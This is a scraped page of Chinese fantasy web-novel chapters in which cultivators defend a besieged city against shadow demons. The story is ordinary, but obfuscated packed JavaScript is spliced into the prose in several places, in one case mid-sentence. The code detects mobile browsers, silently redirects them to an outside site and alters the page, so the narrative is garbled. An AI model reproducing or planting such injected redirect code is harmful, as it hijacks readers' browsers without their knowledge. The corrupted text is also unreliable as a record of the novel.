剑还未被收入鞘中,此时快速回身迎敌,面庞上由战场厮杀带来的血腥气还未消散,眉眼透露着凶煞,两剑相撞,激烈的空响过后,却迅速的褪去。 “青玉......” 云修云收起剑退了两步,瘪瘪嘴,表情还不太自然。 “......大哥。” 云修云本以为他接下来会问自己究竟去了哪里,说教自己不该如此之类,可谁知他却一把抱了过去。 云修云仰着头眼睛瞪的很大,四肢都僵了一下。 他表情呆滞的感受着云修泽抓在自己肩背上的力道,嘴唇嗫嗫,半晌才发出点带颤的声音。 “......大哥?” 云修泽的心从见到他的那一刻落到了实地,像是劫后余生的庆幸满溢在心中,本以为有些话会很难说出口,但一切都在这时变得不再重要。 “青玉,这次是哥不对,不该对你说那些话,那都是气话,哥心里不是那么想的,跟你道歉,你别怪哥,也别再一声不吭的离开了。” 此事纵然也有云修云冲动莽撞的错,但大头归根结底还是落在他的身上,就像天盛微说的一样,若是他做什么都提前和同伴们商量,纵使云修云性格莽撞一些,他也能够提前约束。 云修云的眼眶倏地一红。 大哥的性格从很小的时候开始就有些别扭,他也习惯了主动求和,他知道自己有错,但这次也真的因为云修泽的话感到受伤和委屈。 本来他给自己准备的戏本是大哥哭唧唧的道歉求原谅,他就嘲笑他两句,高高在上的问他知不知道自己哪里错了,再十分有气度的表示原谅他。 本来应该是这样的......可云修云觉得现在好像是自己要哭唧唧了...... 但他坚持演下去! “你、你知不知道、自己哪里错了?” 云修泽好像听到了点哭腔,短暂一愣后,眼中浮上清浅的笑意,他决定维护好少年的自尊心,省的还没哄好就又炸毛,要是再一个羞愤不知道跑哪儿去,他可就真的要欲哭无泪了。 “嗯——知道了,哥错了,原谅哥吧。” “我很厉害的......” “那可不,一个人杀了十个雾面影,你不厉害谁厉害。” 云修云没忍住吸了吸鼻子,撇过头小声说道。 “那、那好吧......我大人大量,不跟你计较......” 云修泽好笑的放开他,扶着他的肩膀。 “感恩少侠,少侠好度量啊。” 云修云眉头悄悄上扬,控制不住的开始有些眉飞色舞。 “那是!我是谁啊,咱自有容人的雅量好吧!” 云修泽笑的少有的温和。 “所以,你现在打算跟大哥说一下你究竟去了哪,以及那两个人是谁吗?” 云修云表情一僵,不好,得意忘形了...... 被他点名的幼宁和老伯藏在掩体后,本意是不想打扰兄弟二人交流感情,但没想到隔了那么远还是被云修泽发现了,对视一眼,也只能无奈于修士和他们的不同。 幼宁想着,和老伯一起走了出来。 他们隔得距离不短,要是等他们自己走过来还得要一会儿的功夫,云修云干脆自己去带着他们过来。 云修泽看着云修云肩上扛着一个炸毛挣扎的,手臂夹着一个满脸不可思议的跑过来,颇有种掩面离开的冲动。 “哥,哥!走,我们回去说!” 云修泽捂着嘴不知该做何表情,欲言又止了半天。 幼宁臭着脸捶着他的后背。 “混蛋!把我放下来!我自己能走!” 在别人面前被扛和没人的时候被扛完全就不是一回事! 云修云没在乎背上的‘攻击’,面上一片理所当然。 “你们太慢了!别乱动了,我又没弄疼你。” 说着,他还颠了下肩膀。 他‘大包小包’的路过云修泽,云修泽看着捂着脸心如死灰的幼宁,虽然还不知道他是谁,但已经有了想为此道个歉的冲动。 他们回到城墙上,天盛微和行愿也已经回来,见到云修云,唐思月有点儿担忧的迎上来。 见到他们,尤其是唐思月的时候,云修云就已经把轻拿轻放这四个字抛到了天边,把身上的两人堪称草率的放了下来。 云修泽走到天盛微身边,两人低声说着话。 云修云背着手,低头,眼睛有点亮亮的看着唐思月。 唐思月检查了一下他的身体状况,手搭在他伸出来的小臂上,抿抿嘴,说道。 “你身上有好多伤。” 都是那晚受的伤,云修云弯了点腰,低头看着她的神色,小心的哄她。 “都是皮外伤,而且不深,思月那么厉害,很快就能好的。” “嗯......” 那边黑着脸的幼宁被老伯扶起来,云修云的态度明显,与他说话的应该就是他的心上人,幼宁一下子便恶从心头起,暗搓搓的准备进行曲线报复。 可当他越过云修云的背影,看到唐思月的那一刻,这个想法就消弭无踪,尽管她还戴着面纱,但就是让他忍不住愣了一下。 好颜色就是一把温柔刀,用的好,便会让人心甘情愿的被其夺走性命。 幼宁觉得唐思月这把刀就锋利非常。 再一转,看到天盛微,她没戴面纱,衣着简单,美得更加冲击人的眼睛。 于是喃喃道。 “说是姝色无双,今日倒让我见着个例外。” 说完,他的表情扭曲了一下,云修云这是哪里走的狗屎运? 他这一出声,就成功吸引了唐思月的注意,她的目光落在他的脸上,微不可见的有了片刻怔愣。 幼宁被她看的莫名紧张了一下,不自觉的站直身体,又整理了一下自己的衣襟。 云修云现在还属少年时期,鲜衣怒马,已经可以望见其彻底长成后俊俏模样的轮廓,而幼宁与他不同,若要形容,则更偏向俊美,有女子的柔和,也有男子的英气。 云修云开始看他有点儿不顺眼了。 他自认动作不明显的往两人中间一挡,眼睛一转,想要卖惨喊疼,但又担心她真的入了心,一时语塞,反倒不知道该说些什么。 求救的目光给到云修泽,云修泽挑眉,正好该问的还没问清楚。 “去哪儿了?还有他们是谁?” 云修云有点心虚,却也知道伸头缩头都是刀,于是破罐子破摔,快速说道。 “去了趟城外,我知道我有点儿冲动。” 干脆利落的认完错,他又像是强调重点一样加大了声音。 “但是!但是!!哥,你们知道我发现了什么吗?他们大本营就在离这里五里左右的山上,而且他们还抓了人质!最重要的是!前往计都求援的信使被杀了!!!” “什么?” 正好来找他们的徐城主脑中轰然一响,快步冲过来,恨不得要抓住云修云的肩膀。 “你说什么?谁被杀了?” 行愿用刀鞘拦住他,他被迫停在外面,没有靠近几人。 落后一步的列七锋此时也面色难看的跟了过来。 “到底怎么回事儿?” 云修云从玉佩中拿出那枚令牌和信纸。 “这是我从他身上找到的,我到时,他早已咽气,我已就近将他掩埋,还请徐城主之后命人接他回来,好生安葬。” 徐城主双手颤抖的接过信和令牌,展开看了看,发现的确是自己写完后交给信使的那封,整个人都仿佛在这个瞬间老了几岁。 刚才的进攻时间虽短,但也足以让他看清普通人与妖之间巨大的差距,这里只养了五万兵马,想要更多,就只能上秉计都调派,若没有外援,那森阳关,单靠这五万兵马,他心知肚明,是根本守不住的...... 这还是云修泽第一次看到他失态的模样。 云修云看他这样子自己心里也难受,毕竟雾面影突如其来的袭击还是因为自己打草惊蛇。 不过好在...... 云修云看了一眼幼宁,故意带着轻松的语气安慰道。 “没事儿的,虽然信没送出去,但我带来了计都的人!” 见众人看过来,云修云拉过幼宁推到面前。 “幼宁,计都派来的军队的军师!” 他又指向那个老伯。 “李宝山,他们派来保护幼宁的官兵。” 别的先按下不提,众人怀疑的目光首先投向了那个叫李宝山的老伯。 老伯面对质疑,态度很是强硬,半个字没说,站直身体露出了健硕的轮廓,撸起一边袖子,无声但有力的秀起了的肌肉。 众人满脸写着一言难尽。 云修云悄悄动了动胳膊,他就说为什么这么重...... 徐城主看了看手中的东西,又看了看这两个人,对云修云问道。 “你出了城?” 云修云心头一颤,恨不得伸手把他嘴捂上。 他用余光注意着云修泽的神色,好不容易才蒙混过去,这厮真是哪壶不开提哪壶!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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帝王是知道这片土地与雾面影的渊源的,他不信如果是真的妖物作怪,这里会不起半分风波,于是早在半月前,就已经做好了最坏的准备,调派兵马悄悄前来。 他们并没有马上靠近,而是潜伏在很远之外观察这里的情况。 幼宁无意中发现了被俘虏的百姓,猜测这群雾面影大概就是想悄无声息的攻陷这里,不然哪里还会留什么活口,他们活着的唯一意义,就是在大庭广众之下用来威胁这里的主事人,陷其于两难的境地。 他先斩后奏,给军中的大将留了封信,就孤身一人带着老伯混入了俘虏之中。 剩下的军队则依旧潜伏,等待着与森阳取得联系,里应外合,给这些雾面影来‘包个饺子’。 “那些人质现在何处啊?” 刚刚徐城主来的时候只听见了最后一句,还未曾知晓有俘虏的存在。 幼宁摆摆手,道。 “不必担心,已经交到我们那边了,安全的很。” 雾面影攻城,大将派了一队人马过来,本想趁此机会查看幼宁的情况,却歪打正着,正好能够接手一批人质。 “安全就好,安全就好......” 徐城主提起来的那口气终于顺了下去,他转身冲着计都所在的方向深深行了个礼。 “陛下英明,挽森阳于水火。” “不过这次进攻为什么这么短暂?”幼宁狐疑。 众人一时之间也没猜透他们的意图,只有天盛微在短暂的沉默后说道。 “他们是在试探城中修士的数量。” 城中十二个雾面影,一夜之间全部被杀,心知暴露的同时,他们也在猜测是否有高手的存在,不然就是数量占据了绝对的优势。 众人的眼神都变了变,先前没有想到这一层,将全部的修士派了出去,眼下估计都被他们摸了个干净。 云修泽与天盛微对视,默默想道,恐怕他们第七洲在这里的事情,影玖也已经知晓。 幼宁抬头看了眼天色。 “对了,他们好像在准备什么禁术,刻了一个很大的阵法。” 禁术? 第七洲的五人不约而同的想起了夺魁的那一战,云修泽的眼神暗了几分,开口给他描述当中的细节,得到幼宁一一对应的答案后,云修泽便果断向徐城主说道。 “还要劳烦徐城主请赛摩族出手,他们合全族之力不是能够影响天象吗?恐怕雾面影多年来也有研究,不知用了什么法子,能够达到类似的效果,若一旦发动,让森阳陷入永夜,可就要麻烦了。” 徐城主一听,浑身一震,哪有不允的道理,当即就表示要回城中找他们的族长商量。 云修泽的目光投向远方,战场与他们平日里修士之间的切磋打斗皆有不同,残忍且恢弘,当他身在其中,嘶吼声便如雷贯耳,他不再是独立的个体,而是与万千战士共同用血肉筑起屏障的一粒沙,这份陌生的英勇令他的心震颤不休。 寒风刮过城墙,发出呜呜的空响,不知何时就会结束的平静宛如倒置的沙漏,无声的催促着即将到来的风雨。 75. 曲衣十六 城墙上下还有很多官兵一刻未曾松懈的轮换看守,从战场退下来的伤员,无法挪动的就躺在了城门附近,徐城主召集的军医和城中药坊的医师穿梭在其中,手中大多沾满了鲜血,痛呼恸哭的声音不绝于耳。 不幸中的万幸便是此时已是凛冬,伤口蔓延溃烂的速度要慢上很多,城中也有足够的药物供应。 云修泽沉默的看着,心知肚明这仅仅是一个开始。 从城墙离开,一行人准备先回客栈,幼宁和老伯也一起去那里暂时落脚。 作为计都来的随军军师,纵使又忙又乱,徐城主也没有怠慢于他,叫人为他安排了住处,可幼宁反倒是对第七洲的几人产生了点兴趣,婉拒了他的提议后,转头就当做没有这回事儿,说自己无处落脚,要跟他们一起。 云修云本来是有点庆幸的,如果没有这两个‘外人’的存在,他哥肯定就要拿他开涮了,可当他一转头,看到幼宁不知何时和唐思月说起话来的时候,就又生起点儿不爽来。 也许是说着话没注意,他们靠的已经比较近了,要知道,云修云刚刚认识她的时候,根本都不敢挨她这么近,这个幼宁一个照面而已,倒是胆子不小。 行愿跟在后面,也没对这个陌生人和唐思月之间的距离发表意见,只是一味的看着两人。 云修云心中腹诽他平日的机警不知去了哪里,光看着有什么用?得把他们拉开啊! 心动不如行动,云修云装模作样的停下脚步,又演的一脸心虚的模样将唐思月叫到了身边。 “怎么了?” 唐思月见他狗狗祟祟,忍不住跟着放轻了声音。 云修云低头捂着嘴,因为离得近,显得有些瓮声瓮气。 “思月,我哥没生我气吧?” 唐思月挑眉。 “你还知道害怕?自己跑出去的时候怎么没想过这个问题?” 云修云双手合十,一连串的‘我错了’就从嘴边顺了出来。 为了小声和她说话,他微微弯着腰,头也垂低了许多,耳朵便就在了她触手可及的地方。 唐思月眼神幽幽,抬手就揪了上去。 “以后别再干这种傻事,老大没生气,但是他很害怕。” 唐思月可没有跟他闹着玩儿,用的力道不轻,云修云不敢反抗,突然之下险些叫出声来,余光瞟到前面云修泽和天盛微的背影,痛呼声及时被咽回了口中,脸色都因此被憋得通红。 听清唐思月的话后,想到云修泽的心情,心中又忍不住内疚起来。 后面的一切动静被前面的两人收入耳中,天盛微侧头瞅了瞅云修泽的表情,他的神色如常,好像根本没有被影响到,但她却敏锐的察觉到了他眼中盛放的那一丝笑意,不知道为什么,总让她觉得和之前有了什么不同。 天盛微安静的牵上他的手,他的手有很多硬茧,但却干燥而温暖,她没有开口,只是默默的感受到了手中被慢慢收紧的力道。 后面云修云的耳朵被放过,火辣辣的感觉一时半会儿是消散不了了,云修云忍住了用手去揉的冲动,安静的走了一阵子,还是忍不住开口问道。 “你刚刚和幼宁在聊什么?” 唐思月没太放在心上,随口答道。 “没聊什么啊。” 云修云不太满意这个答案,想要再次追问,但又担心自己醋的太过明显,显得小肚鸡肠,于是就自己跟自己生起闷气,本以为她说过这句就完了,却没想到她又自然而然的接着说了下去。 “就是问了问他的父母亲族,他不是从计都来的吗?如此年轻就能做随行军师,身份一般来说都不会简单,但他却一副根本不认识盛微这个皓明郡主的样子,所以心中有点儿疑虑。” 说着说着,她抬头去看云修云,就见他表情难掩高兴,看着她就好像是得到了什么奖励的小狗,若有尾巴,只恨不得要飞速的摇起来才好。 莫名想象到那个画面,让唐思月忍不住笑了笑。 “所以他为什么不认识盛微姐?” 唐思月的表情有些忍俊不禁。 “说来可笑,是我们太过想当然了,在凡人贵族中,莫说贵女平日不见外男,就算见,盛微也常年在外求师,恐怕少有露面,不认得反倒是正常的。” 云修云恍然,这也是修士与常人的不同,在他们这边,男女之间往往没有那么多规矩隔阂。 他们到了客栈,帮幼宁和老伯要了两间房,转头一看,却正好看到在一楼自己大吃特吃的秉唯。 他的嘴角冒着油光,吃饭吃出了一种很忙的感觉,眼睛一眨不眨的盯着桌上的食物,专注的让云修泽感到陌生。 他醒来本是件好事,但现在这幅尊容确实冲淡了几人的喜悦,云修云摸摸肚子,后知后觉的说道。 “我也饿了。” 云修泽抽抽嘴角,头也不回的敲了敲掌柜面前的桌面,指着秉唯一言难尽的问道。 “他付钱了吗?” 掌柜闻言笑眯眯的回道。 “挂的您的账,客官。” 云修泽捂着隐隐作痛的心口,这小子一顿就吃了他们刚出门时身上至少一半的积蓄。 他们围过去,秉唯吃的正高兴,余光瞥见有人过来,抬头见是他们,整个人都惊了一下。 “嘿嘿......姐姐......那个什么,我猜你们也要回来了,点了一桌子菜呢!快来吃,快来吃!” 他迅速擦了一把嘴,只心虚了短暂的一瞬,就立马跳起来将天盛微推到了座位上。 他刚刚一副吃的忘乎所以的模样,这话说出来云修泽反正是不信,放在平日定要逗弄一番,今日却没有了这种心情,反而惹的秉唯扭头奇怪的看了他一眼。 众人接连落座,秉唯看过陌生的幼宁和老伯一眼,也没有对他们产生什么好奇心。 天盛微摸摸他的头。 “何时醒的?” 秉唯昂着头一脸被摸的很舒服的样子在她的手心蹭了蹭。 “刚醒没多久,睡得可舒服了,就是有点饿。” “好吃吗?” “好吃!”秉唯两眼冒光,“我从来没吃过这种食物!” 这话说的有些奇怪,惹的幼宁看了他一眼。 妖族的味觉和人族有所不同,人族的食物对他们来说可以吃得下口,但绝对谈不上有多好吃。 秉唯占了有两族血脉的优势,全都接受良好,他之前一直在白界和佘渊,过的不好,自然也吃不太好,出来之后又一直在赶路,吃食上也都跟着几人对付着来,时至今日,乍一尝到这些,立马就惊为天人。 他吃的满脸餍足,像小狐狸一样拿脸蹭了蹭天盛微的肩膀。 “姐姐,外面好好啊,又好看又好吃。” 前提是你自己付钱啊,小崽子。 云修泽眯了眯眼,和唐思月对视,看她了然后才满意的点点头。 唐思月轻轻拉过秉唯替他把脉,妖力似乎活跃了不少,就像是刚刚高强度动作过后血液的沸腾一般在兴奋着,但硬说下来也算不上是什么坏事。 唐思月思索一瞬,莫明想到了之前在鬼市拿到的那颗妖丹,一丝灵光转瞬即逝,快的根本没有抓住。 “你睡了太久,刚醒来不宜暴饮暴食,下次别这样了哦。” “嗯嗯!” 秉唯乖乖点头。 “唐姐姐,你们去哪儿了啊,我一醒来,你们全都不在。” 唐思月看了一眼云修泽,他站起身,说。 “走,我们上去说。” 幼宁思忖着他们大约是想来一次内部谈话,所以在楼道口就识趣的与他们暂时道别,云修泽果然没有挽留他,挂着客气地笑与他们分开。 几人来到房内,简单的将情况跟秉唯说了一下,秉唯的神色逐渐变得凝重。 他出生不过短短十几年,尚且不能明白妖族为什么会大量踏出佘渊,又为什么将第一次大规模进攻选在了这里。 听到云修泽他们要出战,秉唯也不假思索的喊道。 “我也要去!” 云修泽皱眉。 “你一个半妖凑什么热闹?别说你会不会被列七锋发现,就单说若你被妖族认了出来,以后怎么在那里立足?” 秉唯噘撅嘴,小声说道。 “认出来又怎样?反正我还想在外面多玩几年,至于那个什么列七锋,我离他远点不就好了,那么多官兵,都能分辨妖力灵力吗?” 云修泽感到一阵头痛,用眼神向天盛微示意。 ‘你管管他!’ 天盛微的第一反应也是不赞同,人妖两个种族的对峙,他一个混血参与进去,一旦被发现,两边都不会有他的容身之地,再严重些,可能还会面临两方的追杀。 但秉唯倔强的眼神又让她想起了她第一次见他时,在他身上感受到的强烈的求生欲望。 世间本无相,众人为之描补,但最终还是由自身构建。 也许他们该让他放手一试,世间广阔无垠,究竟是何模样,应该让他自己去经历体会,才能让其在他的眼中成形,这又何尝不是一场‘美景’。 想到这些,天盛微便缓缓开口。 “易容。” 原则问题还是不可忽视的。 “好耶!” 秉唯明白她这是答应了,顿时欢呼起来。 云修泽感觉头疼的更厉害了,无奈的眼神看着向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302864|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他做着鬼脸的秉唯。 “你怎么就答应了?” 天盛微说。 “我们不可能保护他一辈子。” 云修泽一顿,恍然有种此刻便是永恒的错觉,小声说。 “是啊,是我想错了。” 天盛微拍了拍他的背,把手放在了他的肩上。 唐思月开始帮他易容,不一会儿,一个憨厚朴实的小少年形象就出现在众人眼前,完全看不出本来那有着精致眉眼的模样。 云修云戳戳秉唯。 “你身体怎么样了?” 秉唯闻言邪魅一笑,这种有些许夸张的表情在他本来的脸上看着也许并不奇怪,但用现在这张脸做出来,就有了些不伦不类的好笑。 “我强壮死了,要来试试吗?” 云修云立马挽起袖子,雄赳赳气昂昂的一拍胸脯。 “你说!咱们怎么试?” 房间内大动作并不好施展,秉唯四处看了看,把他带到了桌子旁,叫嚣道。 “来呀!咱们掰手腕儿!” “谁怕谁呀!” 两人迅速摆好了动作,满脸的蓄势待发,不约而同的看向云修泽让他来喊开局。 云修泽面无表情,无声的拒绝了这次胡闹申请,最后还是行愿善良,陪着他们一起玩闹。 “三——二——一,开始。” 他喊的毫无激情,但好在根本无人在意,桌上的两人立马就开始激烈的角逐。 他们看上去都是发了力的,但两手交握,哪边都没有分毫偏移。 看见两人都用力到表情开始扭曲,本来没太当回事儿的云修泽也满脸正色围了过来。 秉唯进步的实在是过于快了。 妖族的修炼天赋本就不如人族,往往要练个几百年才能有所成就,影玖、灵儿、圭许都是如此。 是拥有人族血脉的缘故吗?两种血脉融合的好,天赋竟然会如此可怕。 云修泽转念想到了闻潺,活生生的例子摆在这里,很快就让他放下了疑虑。 两人赌上尊严的胜负还未见分晓,那边行愿看着窗外,就突然出声道。 “天黑了。” 云修泽心中一凛,抬眼迅速看向窗外,两三步走过去,推开窗户,天色不知何时已经暗了下来。 现在才刚过午时不久,这种天色显然是出了问题。 秉唯一直睡到将近午时才醒来,屋中未曾有客栈的人来过,蜡烛就未曾更换熄灭,光一直笼罩在他们周边,所以即使天色变暗,他们也未曾第一时间察觉。 云修泽捏着窗框的手渐渐收紧,不知道是不是他的错觉,天上笼罩的黑,似乎正以肉眼可见的速度在慢慢变得更深。 街上百姓燥乱的声音传来,诡异的天象,让所有人的心中开始感到不安。 云修泽表情绷的很紧。 “我们走!雾面影动手了!” 云修云和秉唯遗憾中断这场对决,决定回来再分胜负。 他们拿上了各自的刀剑,推开房门一起向外走去,庄严肃穆的神色让他们像是守卫领地的狼群,准备着要用鲜血来为战场涂色。 幼宁赶过来时,见他们这副模样,一时间还没太敢凑上前去。 跟他们分开的短暂时间内,足以让幼宁打听到他们的情况。 他们在这里,也是不幸中的万幸之一。 纵然他带的兵力充足,但面对不知底蕴的妖族,心中难免还是忐忑。 另外二十三个修士早已来到了这个客栈,本想着稍作休息,再找第七洲的几个人商量接下来的对策,可谁也没有想到,第二次进攻来的如此猝不及防。 幼宁却是早早发现了他们,他们毫无疑问是这场战争中的珍贵战力,幼宁作为军师,本能的就开始在心中盘算该如何最大化的将其运用。 此时天色变幻,危机再次近在眼前,幼宁招呼着剩下的修士一起离去,自己则凑到了第七洲几人面前,有些焦急的问。 “你们这是去哪儿?” 云修泽头也不回。 “先去城墙,徐列二人会在那里和我们汇合,你的人要怎么联系?” 他们走的很快,幼宁只能勉强跟上。 “他们一直潜伏在附近,开战后,我会放一束红色烟火,最迟半刻,他们就会从后方赶来。” 他看了几眼旁边的秉唯,有些迟疑。 “这是......刚才的那个小兄弟?他还小吧?让他上战场是不是......” 云修云抽空用还有点酸的右手拍了拍他的肩膀,颇有些语重心长。 “放心吧,他能打十个你。” 幼宁黑着脸,闭上了嘴。 76. 曲衣十七 几人飞速疾驰,再次赶到城墙时,天色已经暗如沉水,没有星月点缀,唯一的光源便是那不断从城内向外抛去的巨大火球。 火球被不断的投射,也许能在某处燃起熊熊烈火,但更多的时候却宛如投入了黑色的沼泽,片刻的功夫就会被吞噬,甚至还有不少被雾面影抛回了人族的阵营,砸出深坑,泥土被染黑,带上了焦糊的气味。 云修泽几人的心中涌起阵阵寒意,触目所及,暗影仿佛成了地狱的入口,如同连片汹涌的海洋,一眼望不到尽头,雾面影化身为杀之不尽的索命恶鬼,将战场变成连天的黑色炼狱,残忍血腥的收割着将士们的性命。 他们接连不断、飞蛾扑火,战场之上却连残肢断臂都没有留下,全都被毫不留情的拖入了暗影之中,就仿佛这个人从未存在于这个世上。 在修士到来之前,已经踏入战场的将士绝望的明白自己绝无生还的可能,深陷的混战已经远远超出了他们的认知,他们就像是毫无反抗之力的蝼蚁,以香灰掉落的速度在被不断碾去。 绝望、胆怯、后悔,各种情绪揉杂在一起,最终喷薄而出的却是刻骨的恨意与怒火! 耳边是震天的厮杀声,云修泽握着剑柄的手都被这声音震得微微发颤,此刻所受到的冲击远大于之前的一切,再没有什么能比此时的战场更让人懂得对生命的敬畏。 修士们很快集结,但面对着数不胜数的雾面影,心知数量悬殊的众人也难免会生畏惧胆怯之心,有意无意之间,视线就不约而同的落在了站在最前方的那五人身上。 他们的背影没有分毫动摇,反而是周身节节攀升的灵气,让他们的战意变得昭然若揭。 徐城主到来时,见到的正好是这样的一幕。 脚步一顿,传闻中的历史成为轮回,以新的方式在他的面前再次重演。 黑色在城内城外完整的铺开,雾面影明明能从影子中随意穿梭,却始终没能通过城墙直接进入城内。 注意到徐城主的到来,云修泽快步向他走去,将他拽到身边。 虽然还未正式踏入战场,但他的眼神动作都已经带上了些许杀意,让人不自觉就会生出畏惧之心。 “他们为什么不直接进来?” 之前许多事情杂七杂八的堆积在一起,竟让他忘了,黑夜本就是雾面影的主场,为何城中却只有屈指可数的数量,这根本说不过去,徐知书一定还瞒了些什么! 徐城主深吸一口气,也心知此事不该再瞒,于是言简意赅的解释道。 “城墙之上,有陛下请修士刻录的阵法结界,专门用来阻挡妖物进城,他们只有附在人族的身上才能进来,这是个古老的阵法,世上所知之人屈指可数,说不定一个都有没有了,若轻易让人知晓,必会引发骚动,有所隐瞒还请几位见谅。” 云修泽回头,天盛微便伸手往城墙上注入了一些灵力,顿时之间,巍峨的城墙之上就像是有什么被骤然唤醒。 众人能清晰的感觉到墙壁上有很多阵法的节点嗡然而动,瑰丽的花纹宛如攀附在墙面上的藤蔓,以天盛微的手为中心,接二连三的亮起。 不过一息,整个结界的样貌就已经清晰的呈现在众人眼前,在场的修士无一不被其吸引。 云修泽靠近了些,呼吸略微有些急促。 这不是单纯的结界或者阵法,而是不知道以什么方式被融合在了一起,既能说是结界,也能叫做阵法,平日里静悄悄的贴伏在墙面上,任谁也没有察觉,只有刻意的注入灵力后,才会被唤醒。 这是何人所为?此等造物,云家未曾收录,央玉的周天山也未有记载,也许昆天谷的藏书阁会有? 结界泛着莹莹的光芒,在修士的眼中,只是不能长久的凝视,倒也不算刺目,但对雾面影来说,却像是突然被放到眼前的耀日,激活阵法不过片刻,便让原本肆意妄为的他们生了忌惮,不敢再轻易靠近,更有甚者,竟是直接惨叫着消失在了阴影之中。 云修泽能听到自己胸腔内逐渐加快的心跳。 “以你的灵力,能维持它多长时间?” 天盛微的面色并不轻松。 “太大了,而且过于精巧,我的话,至多半个时辰。” 半个时辰在一场战争中所能起到的效果实在是有限,云修泽刚刚升起的那点心思顿时歇了下去。 以盛微的实力,她可以在战场上起到更大的作用。 云修泽问徐城主。 “赛摩族的事怎么样了?” 徐城主看着眼前惨烈的战况,也很是焦急。 “他们已经开始集结族人,尚且需要一些时间准备。” 云修泽盯着战场,在其中寻找着影玖的身影。 “那就靠我们来拖延时间。” 这时列七锋快步从下面上来,他身上有不少伤,战甲也有多处破损,气血翻涌,显然是刚刚从战斗中抽离。 见到他,秉唯下意识挪了两步,躲在了行愿的后面,随即想起来自己现在顶着一张谁都不认识的脸,又马上理直气壮的站了回去。 列七锋的眼神扫过众人,并未在秉唯的身上停留,而是很快锁定了幼宁,走到他面前,粗声粗气的问道。 “军师,不知此次带领军队前来的将军是哪位?” 幼宁道。 “是车骑将军符康,列大人有何指示?” 车骑将军是正二品,三公级,符康更是曾经立下了汗马功劳的大将,有这么一个久经沙场的将军,众人多少都感到了些许心安。 列七锋感到庆幸的同时,又有些遗憾。 “倒也无事,只是仰慕威猛大将军,若是有幸能在死前见到,便是再无遗憾了。” 幼宁哈哈一笑,拍了拍列七锋的手臂,姿态豪爽,让人觉得他是真心在为此感到高兴。 “列大人可莫要说这种丧气话,来日方长,想见总能见到,雾面影曾经就是我们的手下败将,如今卷土重来,也只会是一样的结果!” 说完,他收起笑脸,变脸之快让人惊叹。 只见他拿出一根火棒,在旁边即将投掷出去的火球上点燃,随即便有一道红光冲天而上,在黑色的战场中,醒目到清晰的印在了每个人与妖的瞳孔之中。 “符康将军的军队马上就会到来,在他们来之前,我们必须守好这道防线。” 云修泽让同伴们聚在一处,说道。 “思月是远距离,大范围,自保能力偏弱些,不到万不得已,不要下这个城墙。” 见唐思月点头,他又看向秉唯,压低了些声音。 “小妖怪,你自己机灵着点儿,不只要小心列七锋,还要小心不要让妖族那边认出你,最好保证出手就能让对方永远闭嘴,明白吗?” 秉唯觉得自己已经对小妖怪这三个字感到麻木了,在天盛微看过来的时候,熟练的露出了一个乖巧的笑容。 “我明白,姐姐你不要担心哦,打完这场仗咱们就没事儿了,之后咱们一起去更多好看的地方玩!” 天盛微揉了揉他的头发。 “好,你自己小心。” 之前那次短暂的试探,影玖必然已经知道他们的到来,不可能不对他们做出防范,所以他们四人下了战场不能分开,只有秉唯,跟在他们身边,反而更容易被注意到,倒不如自己行动。 “嗯!” 秉唯用力点头,乖顺的模样,若是用本相做来,想必更加可爱灵动。 “诸位道友,烦请每四人一队,分不同区域前去助阵!” 徐城主拿来了布阵图,声音没有灵力加持,在嘶吼声不绝于耳的现在,想要让所有人听见,就不得不扯着嗓子喊起来。 众人依次上前查看,待到明白自己应该去往何地时,便不再耽搁,踏上飞剑准备离开。 “诸位且慢!” 幼宁喊道,见众人的目光看过来,便挥手一指城墙上下不断轮回更替的弓箭手,箭矢如流星般密密麻麻的射出去,却基本无法起到什么作用。 “修士与普通人族并非无法合作,对付妖族,他们如此作为,也只是无用功,烦请诸位道友,四人中留一人下来,为箭矢附上灵力,每过半个时辰轮换一次。” 这倒是个不错的主意,修士与普通人族的距离已经深刻的刻在了每个人的心中,成了无法被轻易打破的固有认知,反而无人能在短时间内意识到可以彼此合作。 “头脑转的很快嘛。” 唐思月赞叹道。 云修云一下警觉起来,暗暗记在心中,若再遇到此类的情况,必然要先他一步开口。 幼宁看向云修泽几人,摆摆头,说道。 “你们就不必了,这儿有他们就够了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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猜测是否正确,到底,也是没去验证。 幼宁突然回头,看着徐城主,眼中包含了些许玩味。 “徐城主,我听说过您,上一届的状元及第,文章写的很好,想法新颖,又切身的为民众考虑,本想着在计都与您见上一面,却被告知您被外派,没想到竟是到了这里,看来你我有缘啊。” 徐城主心中一动,面不改色的想到,状元及第是三年前,他当时就想见自己,他那时候多大?十四?十五? 心中想法不断,嘴上却谦虚道。 “哪里哪里,军师抬举,历代状元比我优秀者比比皆是,我也不过是纸上苍生。” 幼宁微微一笑,不再与他多费口舌,只带了些说不清道不明的意味。 “徐城主谦虚又有能力,想必不会一直在此,之后有缘,我们在计都见吧。” 徐城主摸不清他是什么意思,含糊不清的回道。 “有缘见,有缘见。” 城墙下,云修泽借力深流在空中躲过了一次攻击,挥剑而下,鲜血喷射在他的脸上,险而又险没有染上他的眼睛。 云修泽仍然在战场中寻找着影玖的身影,说实话,确认是影玖来,他反而因此感到庆幸,雾面影族可以号令族群的应该只有少主和族长,佘渊的领地需要有妖坐镇,影玖来了,就代表着最难搞的那个老家伙还没有出山。 不过云修泽也没有因为自己打败过他就认定他一直会是自己的手下败将。 大比说白了终究是一场赛事,是有限制的,落到赛场外,彻底放开了手脚的妖族就是绝不可被轻视的敌手。 